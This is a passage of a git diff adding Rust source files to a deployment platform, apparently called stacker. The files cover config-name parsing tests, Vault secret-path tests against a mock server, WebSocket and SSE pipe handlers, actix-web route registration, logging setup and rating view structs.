("_compose".to_string(), "_compose".to_string()) + } else if let Some(app_code) = app_name.strip_suffix("_env") { + (app_code.to_string(), "_env".to_string()) + } else if let Some(app_code) = app_name.strip_suffix("_configs") { + (app_code.to_string(), "_configs".to_string()) + } else if let Some(app_code) = app_name.strip_suffix("_config") { + (app_code.to_string(), "_config".to_string()) + } else { + (app_name.to_string(), "_compose".to_string()) + } + } + + #[test] + fn test_config_path_parsing_compose() { + // Plain app_code maps to _compose + let (app_code, config_type) = parse_app_name("telegraf"); + assert_eq!(app_code, "telegraf"); + assert_eq!(config_type, "_compose"); + + let (app_code, config_type) = parse_app_name("komodo"); + assert_eq!(app_code, "komodo"); + assert_eq!(config_type, "_compose"); + } + + #[test] + fn test_config_path_parsing_env() { + // _env suffix maps to _env config type + let (app_code, config_type) = parse_app_name("telegraf_env"); + assert_eq!(app_code, "telegraf"); + assert_eq!(config_type, "_env"); + + let (app_code, config_type) = parse_app_name("komodo_env"); + assert_eq!(app_code, "komodo"); + assert_eq!(config_type, "_env"); + } + + #[test] + fn test_config_path_parsing_configs_bundle() { + // _configs suffix maps to _configs config type (bundled config files) + let (app_code, config_type) = parse_app_name("telegraf_configs"); + assert_eq!(app_code, "telegraf"); + assert_eq!(config_type, "_configs"); + + let (app_code, config_type) = parse_app_name("komodo_configs"); + assert_eq!(app_code, "komodo"); + assert_eq!(config_type, "_configs"); + } + + #[test] + fn test_config_path_parsing_single_config() { + // _config suffix maps to _config config type (legacy single config) + let (app_code, config_type) = parse_app_name("telegraf_config"); + assert_eq!(app_code, "telegraf"); + assert_eq!(config_type, "_config"); + + let (app_code, config_type) = parse_app_name("nginx_config"); + assert_eq!(app_code, "nginx"); + assert_eq!(config_type, "_config"); + } + + #[test] + fn test_config_path_parsing_global_compose() { + // Special _compose key + let (app_code, config_type) = parse_app_name("_compose"); + assert_eq!(app_code, "_compose"); + assert_eq!(config_type, "_compose"); + } + + #[test] + fn test_config_path_suffix_priority() { + // Ensure _env is checked before _config (since _env_config would be wrong) + // This shouldn't happen in practice, but tests parsing priority + let (app_code, config_type) = parse_app_name("test_env"); + assert_eq!(app_code, "test"); + assert_eq!(config_type, "_env"); + + // _configs takes priority over _config for apps named like "my_configs" + let (app_code, config_type) = parse_app_name("my_configs"); + assert_eq!(app_code, "my"); + assert_eq!(config_type, "_configs"); + } + + #[test] + fn test_app_config_serialization() { + let config = AppConfig { + content: "FOO=bar\nBAZ=qux".to_string(), + content_type: "env".to_string(), + destination_path: "/home/trydirect/abc123/telegraf.env".to_string(), + file_mode: "0640".to_string(), + owner: Some("trydirect".to_string()), + group: Some("docker".to_string()), + }; + + let json = serde_json::to_string(&config).unwrap(); + assert!(json.contains("FOO=bar")); + assert!(json.contains("telegraf.env")); + assert!(json.contains("0640")); + } + + #[test] + fn test_config_bundle_json_format() { + // Test that bundled configs can be serialized and deserialized + let configs: Vec = vec![ + serde_json::json!({ + "name": "telegraf.conf", + "content": "[agent]\n interval = \"10s\"", + "content_type": "text/plain", + "destination_path": "/home/trydirect/abc123/config/telegraf.conf", + "file_mode": "0644", + "owner": null, + "group": null, + }), + serde_json::json!({ + "name": "nginx.conf", + "content": "server { }", + "content_type": "text/plain", + "destination_path": "/home/trydirect/abc123/config/nginx.conf", + "file_mode": "0644", + "owner": null, + "group": null, + }), + ]; + + let bundle_json = serde_json::to_string(&configs).unwrap(); + + // Parse back + let parsed: Vec = serde_json::from_str(&bundle_json).unwrap(); + assert_eq!(parsed.len(), 2); + + let names: Vec<&str> = parsed + .iter() + .filter_map(|c| c.get("name").and_then(|n| n.as_str())) + .collect(); + assert!(names.contains(&"telegraf.conf")); + assert!(names.contains(&"nginx.conf")); + } + + fn test_vault_service(server: &MockServer) -> VaultService { + VaultService { + base_url: server.uri(), + token: "test-token".to_string(), + prefix: "agent".to_string(), + http_client: Client::builder() + .timeout(Duration::from_secs(REQUEST_TIMEOUT_SECS)) + .build() + .unwrap(), + } + } + + #[test] + fn test_remote_secret_paths_use_kv_v1_layout() { + let service = VaultService { + base_url: "http://vault.example".to_string(), + token: "test-token".to_string(), + prefix: "agent".to_string(), + http_client: Client::builder().build().unwrap(), + }; + + assert_eq!( + service.service_secret_path("user-1", 42, "web", "S3_KEY"), + "agent/users/user-1/projects/42/apps/web/secrets/S3_KEY" + ); + assert_eq!( + service.server_secret_path("user-1", 99, "HOST_TOKEN"), + "agent/users/user-1/servers/99/secrets/HOST_TOKEN" + ); + assert_eq!( + service.status_panel_npm_credentials_path(99), + "agent/hosts/99/npm_credentials" + ); + assert_eq!( + service.secret_url("agent/users/user-1/projects/42/apps/web/secrets/S3_KEY"), + "http://vault.example/v1/agent/users/user-1/projects/42/apps/web/secrets/S3_KEY" + ); + } + + #[tokio::test] + async fn test_remote_secret_kv_v1_crud_uses_flat_v1_endpoints() { + let server = MockServer::start().await; + let service = test_vault_service(&server); + let logical_path = "agent/users/user-1/projects/42/apps/web/secrets/S3_KEY"; + + Mock::given(method("POST")) + .and(path( + "/v1/agent/users/user-1/projects/42/apps/web/secrets/S3_KEY", + )) + .respond_with(ResponseTemplate::new(200)) + .mount(&server) + .await; + + Mock::given(method("GET")) + .and(path( + "/v1/agent/users/user-1/projects/42/apps/web/secrets/S3_KEY", + )) + .respond_with(ResponseTemplate::new(200).set_body_json(serde_json::json!({ + "data": { + "data": { + "value": "supersecret" + } + } + }))) + .mount(&server) + .await; + + Mock::given(method("DELETE")) + .and(path( + "/v1/agent/users/user-1/projects/42/apps/web/secrets/S3_KEY", + )) + .respond_with(ResponseTemplate::new(204)) + .mount(&server) + .await; + + service + .store_secret_value(logical_path, "supersecret") + .await + .unwrap(); + let fetched = service.fetch_secret_value(logical_path).await.unwrap(); + assert_eq!(fetched, "supersecret"); + service.delete_secret_value(logical_path).await.unwrap(); + + let requests = server.received_requests().await.unwrap(); + assert_eq!(requests.len(), 3); + assert_eq!(requests[0].method.to_string(), "POST"); + assert_eq!(requests[1].method.to_string(), "GET"); + assert_eq!(requests[2].method.to_string(), "DELETE"); + assert!(requests + .iter() + .all(|request| !request.url.path().contains("/data/"))); + assert!(requests + .iter() + .all(|request| !request.url.path().contains("/metadata/"))); + } +} diff --git a/stacker/stacker/src/services/ws_pipe.rs b/stacker/stacker/src/services/ws_pipe.rs new file mode 100644 index 0000000..54883b5 --- /dev/null +++ b/stacker/stacker/src/services/ws_pipe.rs @@ -0,0 +1,172 @@ +use futures_util::{SinkExt, StreamExt}; +use serde_json::Value as JsonValue; +use tokio_tungstenite::{connect_async, tungstenite::Message}; + +/// Connect to a WebSocket endpoint and read the first message as source data. +/// If `config.output` is set, returns it directly (simulation mode for BDD tests). +pub async fn execute_ws_source( + config: &JsonValue, + _input: &JsonValue, +) -> Result { + if let Some(output) = config.get("output") { + return Ok(output.clone()); + } + + let url = config + .get("url") + .and_then(|v| v.as_str()) + .ok_or_else(|| "ws_source requires a 'url' in config".to_string())?; + + let (ws_stream, _) = connect_async(url) + .await + .map_err(|e| format!("ws_source connection failed: {e}"))?; + + let (_write, mut read) = ws_stream.split(); + + match read.next().await { + Some(Ok(Message::Text(text))) => serde_json::from_str::(&text) + .map_err(|e| format!("ws_source JSON parse error: {e}")), + Some(Ok(Message::Binary(bin))) => serde_json::from_slice::(&bin) + .map_err(|e| format!("ws_source binary parse error: {e}")), + Some(Ok(other)) => Ok(serde_json::json!({ "raw": other.to_string() })), + Some(Err(e)) => Err(format!("ws_source read error: {e}")), + None => Err("ws_source: stream closed without data".to_string()), + } +} + +/// Connect to a WebSocket endpoint and send the input data as a JSON message. +/// If `config.output` is set, returns it directly (simulation mode). +pub async fn execute_ws_target(config: &JsonValue, input: &JsonValue) -> Result { + if let Some(output) = config.get("output") { + return Ok(output.clone()); + } + + let url = config + .get("url") + .and_then(|v| v.as_str()) + .ok_or_else(|| "ws_target requires a 'url' in config".to_string())?; + + let (ws_stream, _) = connect_async(url) + .await + .map_err(|e| format!("ws_target connection failed: {e}"))?; + + let (mut write, _read) = ws_stream.split(); + + let payload = + serde_json::to_string(input).map_err(|e| format!("ws_target serialize error: {e}"))?; + + write + .send(Message::Text(payload)) + .await + .map_err(|e| format!("ws_target send error: {e}"))?; + + Ok(serde_json::json!({ + "ws_delivered": true, + "url": url, + "data": input, + })) +} + +/// Connect to an SSE (Server-Sent Events) HTTP endpoint and read the first data event. +/// If `config.output` is set, returns it directly (simulation mode). +pub async fn execute_http_stream_source( + config: &JsonValue, + _input: &JsonValue, +) -> Result { + if let Some(output) = config.get("output") { + return Ok(output.clone()); + } + + let url = config + .get("url") + .and_then(|v| v.as_str()) + .ok_or_else(|| "http_stream_source requires a 'url' in config".to_string())?; + + let event_filter = config + .get("event_filter") + .and_then(|v| v.as_str()) + .unwrap_or("message"); + + let response = reqwest::get(url) + .await + .map_err(|e| format!("http_stream_source request failed: {e}"))?; + + let mut stream = response.bytes_stream(); + let mut buffer = String::new(); + + while let Some(chunk) = stream.next().await { + let chunk = chunk.map_err(|e| format!("http_stream_source read error: {e}"))?; + buffer.push_str(&String::from_utf8_lossy(&chunk)); + + // Parse SSE: look for "event: \ndata: \n\n" + if let Some(data) = parse_sse_event(&buffer, event_filter) { + return serde_json::from_str::(&data) + .or_else(|_| Ok(serde_json::json!({ "raw": data }))); + } + } + + Err("http_stream_source: stream ended without matching event".to_string()) +} + +fn parse_sse_event(buffer: &str, event_filter: &str) -> Option { + for block in buffer.split("\n\n") { + let mut event_type = "message"; + let mut data_lines = Vec::new(); + + for line in block.lines() { + if let Some(rest) = line.strip_prefix("event:") { + event_type = rest.trim(); + } else if let Some(rest) = line.strip_prefix("data:") { + data_lines.push(rest.trim()); + } + } + + if event_type == event_filter && !data_lines.is_empty() { + return Some(data_lines.join("\n")); + } + } + None +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn test_parse_sse_event_basic() { + let buf = "event: data_update\ndata: {\"key\":\"val\"}\n\n"; + let result = parse_sse_event(buf, "data_update"); + assert_eq!(result, Some("{\"key\":\"val\"}".to_string())); + } + + #[test] + fn test_parse_sse_event_no_match() { + let buf = "event: other\ndata: {}\n\n"; + assert!(parse_sse_event(buf, "data_update").is_none()); + } + + #[tokio::test] + async fn test_ws_source_simulation() { + let config = serde_json::json!({"output": {"sensor": "temp", "value": 42}}); + let input = serde_json::json!({}); + let result = execute_ws_source(&config, &input).await.unwrap(); + assert_eq!(result["sensor"], "temp"); + assert_eq!(result["value"], 42); + } + + #[tokio::test] + async fn test_ws_target_simulation() { + let config = serde_json::json!({"output": {"delivered": true}}); + let input = serde_json::json!({"data": 1}); + let result = execute_ws_target(&config, &input).await.unwrap(); + assert!(result["delivered"].as_bool().unwrap()); + } + + #[tokio::test] + async fn test_http_stream_source_simulation() { + let config = serde_json::json!({"output": {"event": "tick"}}); + let input = serde_json::json!({}); + let result = execute_http_stream_source(&config, &input).await.unwrap(); + assert_eq!(result["event"], "tick"); + } +} diff --git a/stacker/stacker/src/startup.rs b/stacker/stacker/src/startup.rs new file mode 100644 index 0000000..367a09a --- /dev/null +++ b/stacker/stacker/src/startup.rs @@ -0,0 +1,494 @@ +use crate::configuration::Settings; +use crate::connectors; +use crate::health::{HealthChecker, HealthMetrics}; +use crate::helpers; +use crate::helpers::AgentPgPool; +use crate::mcp; +use crate::middleware; +use crate::routes; +use crate::services::InMemoryHandoffStore; +use actix_cors::Cors; +use actix_web::middleware::Compress; +use actix_web::{dev::Server, error, http, web, App, HttpServer}; +use sqlx::{Pool, Postgres}; +use std::net::TcpListener; +use std::sync::Arc; +use std::time::Duration; +use tracing_actix_web::TracingLogger; + +fn project_scope(path: &str) -> actix_web::Scope { + web::scope(path) + .service(crate::routes::project::deploy::item) + .service(crate::routes::project::deploy::saved_item) + .service(crate::routes::project::deploy::rollback) + .service(crate::routes::project::member::add) + .service(crate::routes::project::member::list) + .service(crate::routes::project::member::delete) + .service(crate::routes::project::compose::add) + .service(crate::routes::project::get::list) + .service(crate::routes::project::get::shared_list) + .service(crate::routes::project::get::item) + .service(crate::routes::project::add::item) + .service(crate::routes::project::update::item) + .service(crate::routes::project::delete::item) + .service(crate::routes::project::app::list_apps) + .service(crate::routes::project::app::create_app) + .service(crate::routes::project::app::get_app) + .service(crate::routes::project::app::delete_app) + .service(crate::routes::project::app::get_app_config) + .service(crate::routes::project::app::get_env_vars) + .service(crate::routes::project::app::update_env_vars) + .service(crate::routes::project::app::delete_env_var) + .service(crate::routes::project::secret::list) + .service(crate::routes::project::secret::item) + .service(crate::routes::project::secret::upsert) + .service(crate::routes::project::secret::delete) + .service(crate::routes::project::app::update_ports) + .service(crate::routes::project::app::update_domain) + .service(crate::routes::project::discover::discover_containers) + .service(crate::routes::project::discover::import_containers) +} + +fn build_oauth_http_client(settings: &Settings) -> Result { + reqwest::Client::builder() + .pool_idle_timeout(Duration::from_secs(90)) + .timeout(Duration::from_secs(settings.auth_request_timeout_secs)) + .connect_timeout(Duration::from_secs(settings.auth_connect_timeout_secs)) + .build() +} + +pub async fn run( + listener: TcpListener, + api_pool: Pool, + agent_pool: AgentPgPool, + settings: Settings, +) -> Result { + let settings_arc = Arc::new(settings.clone()); + let api_pool_arc = Arc::new(api_pool.clone()); + + // Initialize Prometheus metrics (registers all counters/gauges/histograms) + crate::metrics::init(); + + let settings = web::Data::new(settings); + let api_pool = web::Data::new(api_pool); + let agent_pool = web::Data::new(agent_pool); + + let mq_manager = helpers::MqManager::try_new(settings.amqp.connection_string())?; + let mq_manager = web::Data::new(mq_manager); + + let vault_client = helpers::VaultClient::new(&settings.vault); + let vault_client = web::Data::new(vault_client); + + let oauth_http_client = build_oauth_http_client(&settings).map_err(std::io::Error::other)?; + let oauth_http_client = web::Data::new(oauth_http_client); + + let oauth_cache = web::Data::new(middleware::authentication::OAuthCache::new( + Duration::from_secs(60), + )); + + // Initialize MCP tool registry + let mcp_registry = Arc::new(mcp::ToolRegistry::new()); + let mcp_registry = web::Data::new(mcp_registry); + + // Initialize health checker and metrics + let health_checker = Arc::new(HealthChecker::new( + api_pool_arc.clone(), + settings_arc.clone(), + )); + let health_checker = web::Data::new(health_checker); + + let health_metrics = Arc::new(HealthMetrics::new(1000)); + let health_metrics = web::Data::new(health_metrics); + let handoff_store = web::Data::new(Arc::new(InMemoryHandoffStore::new())); + + // Initialize external service connectors (plugin pattern) + // Connector handles category sync on startup + let user_service_connector = + connectors::init_user_service(&settings.connectors, api_pool.clone()); + let dockerhub_connector = connectors::init_dockerhub(&settings.connectors).await; + let install_service_connector = connectors::init_install_service(&settings.connectors); + + let authorization = + middleware::authorization::try_new(settings.database.connection_string()).await?; + let json_config = web::JsonConfig::default().error_handler(|err, _req| { + //todo + let msg: String = match err { + error::JsonPayloadError::Deserialize(err) => format!( + "{{\"kind\":\"deserialize\",\"line\":{}, \"column\":{}, \"msg\":\"{}\"}}", + err.line(), + err.column(), + err + ), + _ => format!("{{\"kind\":\"other\",\"msg\":\"{}\"}}", err), + }; + error::InternalError::new(msg, http::StatusCode::BAD_REQUEST).into() + }); + let server = HttpServer::new(move || { + App::new() + .wrap( + Cors::default() + .allow_any_origin() + .allow_any_method() + .allowed_headers(vec![ + http::header::AUTHORIZATION, + http::header::CONTENT_TYPE, + http::header::ACCEPT, + http::header::ORIGIN, + http::header::HeaderName::from_static("x-requested-with"), + ]) + .expose_any_header() + .max_age(3600), + ) + .wrap(TracingLogger::default()) + .wrap(authorization.clone()) + .wrap(middleware::authentication::Manager::new()) + .wrap(Compress::default()) + .wrap(middleware::prometheus::PrometheusMetrics) + .app_data(health_checker.clone()) + .app_data(health_metrics.clone()) + .app_data(handoff_store.clone()) + .app_data(oauth_http_client.clone()) + .app_data(oauth_cache.clone()) + .service( + web::scope("/health_check") + .service(routes::health_check) + .service(routes::health_metrics), + ) + .service( + web::scope("/metrics") + .service(routes::prometheus_metrics), + ) + .service( + web::scope("/client") + .service(routes::client::add_handler) + .service(routes::client::update_handler) + .service(routes::client::enable_handler) + .service(routes::client::disable_handler), + ) + .service( + web::scope("/test") + .service(routes::test::deploy::handler) + .service(routes::test::stack_view::test_stack_view), + ) + .service( + web::scope("/rating") + .service(routes::rating::anonymous_get_handler) + .service(routes::rating::anonymous_list_handler) + .service(routes::rating::user_add_handler) + .service(routes::rating::user_delete_handler) + .service(routes::rating::user_edit_handler), + ) + .service(project_scope("/project")) + .service(project_scope("/api/v1/project")) + .service( + web::scope("/dockerhub") + .service(crate::routes::dockerhub::search_namespaces) + .service(crate::routes::dockerhub::list_repositories) + .service(crate::routes::dockerhub::list_tags) + .service(crate::routes::dockerhub::log_event), + ) + .service( + web::scope("/admin") + .service( + web::scope("/rating") + .service(routes::rating::admin_get_handler) + .service(routes::rating::admin_list_handler) + .service(routes::rating::admin_edit_handler) + .service(routes::rating::admin_delete_handler), + ) + .service( + web::scope("/project") + .service(crate::routes::project::get::admin_list) + .service(crate::routes::project::compose::admin), + ) + .service( + web::scope("/client") + .service(routes::client::admin_enable_handler) + .service(routes::client::admin_update_handler) + .service(routes::client::admin_disable_handler), + ) + .service( + web::scope("/agreement") + .service(routes::agreement::admin_add_handler) + .service(routes::agreement::admin_update_handler) + .service(routes::agreement::get_handler), + ), + ) + .service( + web::scope("/api") + .service( + web::scope("/agreement") + .service(crate::routes::agreement::user_add_handler) + .service(crate::routes::agreement::get_handler) + .service(crate::routes::agreement::accept_handler), + ) + .service(crate::routes::marketplace::categories::list_handler) + .service( + web::scope("/templates") + .service(crate::routes::marketplace::public::list_handler) + .service(crate::routes::marketplace::creator::mine_handler) + .service(crate::routes::marketplace::creator::analytics_handler) + .service( + crate::routes::marketplace::creator::self_vendor_profile_handler, + ) + .service( + crate::routes::marketplace::creator::create_onboarding_link_handler, + ) + .service( + crate::routes::marketplace::creator::complete_onboarding_handler, + ) + .service(crate::routes::marketplace::creator::my_reviews_handler) + .service( + crate::routes::marketplace::creator::vendor_profile_status_handler, + ) + .service(crate::routes::marketplace::creator::create_handler) + .service(crate::routes::marketplace::creator::update_handler) + .service( + crate::routes::marketplace::creator::presign_asset_upload_handler, + ) + .service( + crate::routes::marketplace::creator::finalize_asset_upload_handler, + ) + .service( + crate::routes::marketplace::creator::presign_asset_download_handler, + ) + .service(crate::routes::marketplace::creator::submit_handler) + .service(crate::routes::marketplace::creator::resubmit_handler) + .service(crate::routes::marketplace::public::detail_handler) + .service(crate::routes::marketplace::public::increment_view_count_handler) + .service(crate::routes::marketplace::public::increment_deploy_count_handler), + ) + .service( + web::scope("/v1/agent") + .service(routes::agent::register_handler) + .service(routes::agent::enqueue_handler) + .service(routes::agent::wait_handler) + .service(routes::agent::report_handler) + .service(routes::agent::notifications_handler) + .service(routes::agent::snapshot_handler) + .service(routes::agent::project_snapshot_handler) + .service(routes::agent::login_handler) + .service(routes::agent::link_handler) + .service(routes::agent::agent_audit_ingest_handler) + .service(routes::agent::agent_audit_query_handler), + ) + .service( + web::scope("/v1/templates") + .service(crate::routes::marketplace::creator::presign_asset_upload_handler) + .service(crate::routes::marketplace::creator::finalize_asset_upload_handler) + .service( + crate::routes::marketplace::creator::presign_asset_download_handler, + ) + .service(crate::routes::marketplace::public::detail_handler), + ) + .service( + web::scope("/v1/marketplace") + .service(crate::routes::marketplace::public::install_script_handler) + .service(crate::routes::marketplace::public::download_stack_handler) + .service(crate::routes::marketplace::public::deploy_complete_handler) + .service(web::scope("/agents").service( + crate::routes::marketplace::agent::register_marketplace_agent_handler, + )), + ) + .service( + web::scope("/v1/deployments") + .service(routes::deployment::capabilities_handler) + .service(routes::deployment::events_handler) + .service(routes::deployment::list_handler) + .service(routes::deployment::plan_handler) + .service(routes::deployment::state_handler) + .service(routes::deployment::status_by_hash_handler) + .service(routes::deployment::status_handler) + .service(routes::deployment::status_by_project_handler) + .service(routes::deployment::force_complete_handler), + ) + .service( + web::scope("/v1/handoff") + .service(routes::handoff::mint_handler) + .service(routes::handoff::mint_account_handler) + .service(routes::handoff::resolve_handler), + ) + .service( + web::scope("/v1/commands") + .service(routes::command::create_handler) + .service(routes::command::list_handler) + .service(routes::command::get_handler) + .service(routes::command::cancel_handler), + ) + .service( + web::scope("/v1/pipes") + .service(routes::pipe::create_template_handler) + .service(routes::pipe::create_instance_handler) + .service(routes::pipe::list_templates_handler) + .service(routes::pipe::list_local_instances_handler) + .service(routes::pipe::list_instances_handler) + .service(routes::pipe::get_template_handler) + .service(routes::pipe::get_instance_handler) + .service(routes::pipe::delete_template_handler) + .service(routes::pipe::delete_instance_handler) + .service(routes::pipe::update_instance_status_handler) + .service(routes::pipe::deploy_pipe_handler) + .service(routes::pipe::list_executions_handler) + .service(routes::pipe::get_execution_handler) + .service(routes::pipe::replay_execution_handler) + .service(routes::pipe::dag::add_step_handler) + .service(routes::pipe::dag::list_steps_handler) + .service(routes::pipe::dag::get_step_handler) + .service(routes::pipe::dag::update_step_handler) + .service(routes::pipe::dag::delete_step_handler) + .service(routes::pipe::dag::add_edge_handler) + .service(routes::pipe::dag::list_edges_handler) + .service(routes::pipe::dag::delete_edge_handler) + .service(routes::pipe::dag::validate_dag_handler) + .service(routes::pipe::dag::execute_dag_handler) + .service(routes::pipe::dag::list_step_executions_handler) + // Streaming: SSE execution stream + .service(routes::pipe::stream::execution_stream_handler) + // Field matching + .service(routes::pipe::field_match_handler) + // Resilience: DLQ + Circuit Breaker + .service(routes::pipe::resilience::list_dlq_handler) + .service(routes::pipe::resilience::create_dlq_handler) + .service(routes::pipe::resilience::get_dlq_handler) + .service(routes::pipe::resilience::retry_dlq_handler) + .service(routes::pipe::resilience::discard_dlq_handler) + .service(routes::pipe::resilience::get_circuit_breaker_handler) + .service(routes::pipe::resilience::update_circuit_breaker_handler) + .service(routes::pipe::resilience::record_failure_handler) + .service(routes::pipe::resilience::record_success_handler) + .service(routes::pipe::resilience::reset_circuit_breaker_handler), + ) + .service( + web::scope("/admin") + .service( + web::scope("/templates") + .service( + crate::routes::marketplace::admin::list_submitted_handler, + ) + .service(crate::routes::marketplace::admin::detail_handler) + .service(crate::routes::marketplace::admin::approve_handler) + .service(crate::routes::marketplace::admin::reject_handler) + .service( + crate::routes::marketplace::admin::needs_changes_handler, + ) + .service(crate::routes::marketplace::admin::unapprove_handler) + .service(crate::routes::marketplace::admin::security_scan_handler) + .service(crate::routes::marketplace::admin::pricing_handler) + .service(crate::routes::marketplace::admin::update_verifications_handler) + .service(crate::routes::marketplace::admin::update_vendor_profile_handler), + ) + .service( + web::scope("/marketplace") + .service(crate::routes::marketplace::admin::list_plans_handler), + ), + ), + ) + .service( + web::scope("/cloud") + .service(crate::routes::cloud::get::item) + .service(crate::routes::cloud::get::list) + .service(crate::routes::cloud::add::add) + .service(crate::routes::cloud::update::item) + .service(crate::routes::cloud::delete::item), + ) + .service( + web::scope("/server") + .service(crate::routes::server::get::item) + .service(crate::routes::server::get::list) + .service(crate::routes::server::get::list_by_project) + .service(crate::routes::server::update::item) + .service(crate::routes::server::delete::delete_preview) + .service(crate::routes::server::delete::item) + .service(crate::routes::server::secret::list) + .service(crate::routes::server::secret::item) + .service(crate::routes::server::secret::upsert) + .service(crate::routes::server::secret::delete) + .service(crate::routes::server::cloud_firewall::configure) + .service(crate::routes::server::ssh_key::generate_key) + .service(crate::routes::server::ssh_key::upload_key) + .service(crate::routes::server::ssh_key::get_public_key) + .service(crate::routes::server::ssh_key::authorize_public_key) + .service(crate::routes::server::ssh_key::validate_key) + .service(crate::routes::server::ssh_key::delete_key), + ) + .service( + web::scope("/agreement") + .service(crate::routes::agreement::user_add_handler) + .service(crate::routes::agreement::get_handler) + .service(crate::routes::agreement::accept_handler), + ) + .service( + web::scope("/chat") + .service(crate::routes::chat::get::item) + .service(crate::routes::chat::upsert::item) + .service(crate::routes::chat::delete::item), + ) + .service(web::resource("/mcp").route(web::get().to(mcp::mcp_websocket))) + .service( + actix_files::Files::new("/editor", "./web/dist") + .index_file("index.html"), + ) + .app_data(json_config.clone()) + .app_data(api_pool.clone()) + .app_data(agent_pool.clone()) + .app_data(mq_manager.clone()) + .app_data(vault_client.clone()) + .app_data(mcp_registry.clone()) + .app_data(web::Data::new(authorization.clone())) + .app_data(user_service_connector.clone()) + .app_data(install_service_connector.clone()) + .app_data(dockerhub_connector.clone()) + .app_data(settings.clone()) + }) + .listen(listener)? + .run(); + + Ok(server) +} + +#[cfg(test)] +mod tests { + use super::*; + use actix_web::{web, App, HttpResponse, HttpServer}; + use std::net::TcpListener; + + async fn slow_ok() -> HttpResponse { + tokio::time::sleep(Duration::from_millis(1500)).await; + HttpResponse::Ok().finish() + } + + #[tokio::test] + async fn oauth_http_client_respects_configured_request_timeout() { + let listener = TcpListener::bind("127.0.0.1:0").expect("bind port"); + let port = listener.local_addr().unwrap().port(); + let address = format!("http://127.0.0.1:{port}/slow"); + + let server = HttpServer::new(|| App::new().route("/slow", web::get().to(slow_ok))) + .listen(listener) + .unwrap() + .run(); + + let _server = tokio::spawn(server); + + let settings = Settings { + auth_url: address.clone(), + auth_request_timeout_secs: 1, + auth_connect_timeout_secs: 1, + ..Settings::default() + }; + + let client = build_oauth_http_client(&settings).expect("build oauth client"); + let started_at = std::time::Instant::now(); + let err = client + .get(&address) + .send() + .await + .expect_err("request should time out"); + + assert!(err.is_timeout(), "expected timeout, got: {err}"); + assert!( + started_at.elapsed() < Duration::from_millis(1400), + "client timeout should fail before upstream responds" + ); + } +} diff --git a/stacker/stacker/src/telemetry.rs b/stacker/stacker/src/telemetry.rs new file mode 100644 index 0000000..fb57df1 --- /dev/null +++ b/stacker/stacker/src/telemetry.rs @@ -0,0 +1,35 @@ +use tracing::subscriber::set_global_default; +use tracing::Subscriber; +use tracing_bunyan_formatter::{BunyanFormattingLayer, JsonStorageLayer}; +use tracing_log::LogTracer; +use tracing_subscriber::{layer::SubscriberExt, EnvFilter, Registry}; + +pub fn get_subscriber( + name: String, + env_filter: String, // Subscriber is a trait for our spans, Send - trait for thread safety to send to another thread, Sync - trait for thread safety share between trheads +) -> impl Subscriber + Send + Sync { + // when tracing_subscriber is used, env_logger is not needed + // env_logger::Builder::from_env(Env::default().default_filter_or("info")).init(); + + let env_filter = + EnvFilter::try_from_default_env().unwrap_or_else(|_| EnvFilter::new(env_filter)); + let formatting_layer = BunyanFormattingLayer::new( + name, + // Output the formatted spans to stdout. + std::io::stdout, + ); + // the with method is provided by the SubscriberExt trait for Subscriber exposed by tracing_subscriber + Registry::default() + .with(env_filter) + .with(JsonStorageLayer) + .with(formatting_layer) +} + +pub fn init_subscriber(subscriber: impl Subscriber + Send + Sync) { + // set_global_default + //redirect all log's events to the tracing subscriber + LogTracer::init().expect("Failed to set logger."); + // Result + + set_global_default(subscriber).expect("Failed to set subscriber."); +} diff --git a/stacker/stacker/src/version.rs b/stacker/stacker/src/version.rs new file mode 100644 index 0000000..177aad7 --- /dev/null +++ b/stacker/stacker/src/version.rs @@ -0,0 +1,26 @@ +use std::sync::OnceLock; + +static DISPLAY_VERSION: OnceLock = OnceLock::new(); + +pub fn display_version() -> &'static str { + DISPLAY_VERSION + .get_or_init(|| match git_short_hash() { + Some(hash) => format!("{} ({hash})", env!("CARGO_PKG_VERSION")), + None => env!("CARGO_PKG_VERSION").to_string(), + }) + .as_str() +} + +pub fn git_short_hash() -> Option<&'static str> { + option_env!("STACKER_GIT_SHORT_HASH").filter(|hash| !hash.trim().is_empty()) +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn display_version_uses_package_version_prefix() { + assert!(display_version().starts_with(env!("CARGO_PKG_VERSION"))); + } +} diff --git a/stacker/stacker/src/views/mod.rs b/stacker/stacker/src/views/mod.rs new file mode 100644 index 0000000..1795238 --- /dev/null +++ b/stacker/stacker/src/views/mod.rs @@ -0,0 +1 @@ +pub mod rating; diff --git a/stacker/stacker/src/views/rating/admin.rs b/stacker/stacker/src/views/rating/admin.rs new file mode 100644 index 0000000..0e66cf1 --- /dev/null +++ b/stacker/stacker/src/views/rating/admin.rs @@ -0,0 +1,33 @@ +use crate::models; +use chrono::{DateTime, Utc}; +use serde::Serialize; +use std::convert::From; + +#[derive(Debug, Serialize, Default)] +pub struct Admin { + pub id: i32, + pub user_id: String, // external user_id, 100, taken using token (middleware?) + pub obj_id: i32, // id of the external object + pub category: models::RateCategory, // rating of product | rating of service etc + pub comment: Option, // always linked to a product + pub hidden: Option, // rating can be hidden for non-adequate user behaviour + pub rate: Option, + pub created_at: DateTime, + pub updated_at: DateTime, +} + +impl From for Admin { + fn from(rating: models::Rating) -> Self { + Self { + id: rating.id, + user_id: rating.user_id, + obj_id: rating.obj_id, + category: rating.category, + comment: rating.comment, + hidden: rating.hidden, + rate: rating.rate, + created_at: rating.created_at, + updated_at: rating.updated_at, + } + } +} diff --git a/stacker/stacker/src/views/rating/anonymous.rs b/stacker/stacker/src/views/rating/anonymous.rs new file mode 100644 index 0000000..9e7af3b --- /dev/null +++ b/stacker/stacker/src/views/rating/anonymous.rs @@ -0,0 +1,26 @@ +use crate::models; +use serde::Serialize; +use std::convert::From; + +#[derive(Debug, Serialize, Default)] +pub struct Anonymous { + pub id: i32, + pub user_id: String, // external user_id, 100, taken using token (middleware?) + pub obj_id: i32, // id of the external object + pub category: models::RateCategory, // rating of product | rating of service etc + pub comment: Option, // always linked to a product + pub rate: Option, +} + +impl From for Anonymous { + fn from(rating: models::Rating) -> Self { + Self { + id: rating.id, + user_id: rating.user_id, + obj_id: rating.obj_id, + category: rating.category, + comment: rating.comment, + rate: rating.rate, + } + } +} diff --git a/stacker/stacker/src/views/rating/mod.rs b/stacker/stacker/src/views/rating/mod.rs new file mode 100644 index 0000000..26ecb1f --- /dev/null +++ b/stacker/stacker/src/views/rating/mod.rs @@ -0,0 +1,7 @@ +mod admin; +mod anonymous; +mod user; + +pub use admin::Admin; 